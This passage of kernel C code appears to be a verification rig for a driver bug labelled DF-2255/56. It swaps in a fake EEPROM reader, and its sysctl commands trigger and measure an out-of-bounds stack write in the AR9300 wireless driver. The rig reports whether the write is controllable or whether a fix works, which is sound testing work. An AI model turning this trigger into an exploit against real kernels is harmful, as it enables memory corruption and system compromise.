                (i >= MOUTPUT && i <= MOUTPUT + 4) ? "" : " (noise)");
    kprintf("%s\n", n ? "" : " (none)");
    for (i = MOUTPUT; i <= MOUTPUT + 4; i++)
        if (win_a[offa + i] != win_b[offb + i])
            n++;
    kprintf("DFH: diff: %d stack byte(s) in the OOB slots "
        "word[2048..2052] track the eeprom content%s\n", n,
        n ? " -- controlled OOB write primitive "
          "*** DF-2255 CONFIRMED ***"
        : " -- no eeprom-controlled writes past word[2047] "
          "(FIX EFFECTIVE)");
    ksprintf(df2255_status, "diff: %d tracked OOB byte(s)", n);
}

static void
case_ovfall(void)
{
    int len;

    for (len = 2043; len <= 2047; len++)
        case_ovf(len);
}

/* ------------------------------------------------------------------ */
/* sysctl front end                                                   */
/* ------------------------------------------------------------------ */

static int
my_atoi(const char *s)
{
    int v = 0, neg = 0;

    while (*s == ' ' || *s == '\t')
        s++;
    if (*s == '-') { neg = 1; s++; }
    while (*s >= '0' && *s <= '9')
        v = v * 10 + (*s++ - '0');
    return neg ? -v : v;
}

static int
sysctl_df2255_rig(SYSCTL_HANDLER_ARGS)
{
    char buf[64];
    int error;
    const char *cmd;

    ksprintf(buf, "%s", df2255_status);
    error = sysctl_handle_string(oidp, buf, sizeof(buf), req);
    if (error != 0 || req->newptr == NULL)
        return (error);

    cmd = buf;
    while (*cmd == ' ' || *cmd == '\t')
        cmd++;

    if (strcmp(cmd, "selftest") == 0)
        case_selftest();
    else if (strcmp(cmd, "info") == 0)
        case_info();
    else if (strcmp(cmd, "arrfail") == 0)
        case_arrfail();
    else if (strcmp(cmd, "uninit") == 0)
        case_uninit();
    else if (strcmp(cmd, "otp2k") == 0)
        case_otp2k();
    else if (strcmp(cmd, "chk") == 0)
        case_chk();
    else if (strcmp(cmd, "diff") == 0)
        case_diff();
    else if (strcmp(cmd, "ovfall") == 0)
        case_ovfall();
    else if (strncmp(cmd, "ovf", 3) == 0)
        case_ovf(my_atoi(cmd + 3));
    else {
        ksprintf(df2255_status, "unknown command: %s", cmd);
        kprintf("DFH: unknown command: %s\n", cmd);
        return (0);
    }
    kprintf("DFH: command '%s' done\n", cmd);
    return (0);
}

SYSCTL_NODE(_kern, OID_AUTO, df2255, CTLFLAG_RW, 0, "DF-2255/56 rig");
SYSCTL_PROC(_kern_df2255, OID_AUTO, rig,
    CTLTYPE_STRING | CTLFLAG_RW, NULL, 0, sysctl_df2255_rig, "A",
    "DF-2255/DF-2256 verification rig: info|arrfail|uninit|otp2k|chk|"
    "ovf <2043-2047>|ovfall|diff");

static void
df2255_rig_init(void *dummy)
{
    (void)dummy;
    df_ah9300.ah_eepromRead = df2255_eeprom_read_word;
}
SYSINIT(df2255_rig, SI_SUB_DRIVERS, SI_ORDER_ANY, df2255_rig_init, NULL);
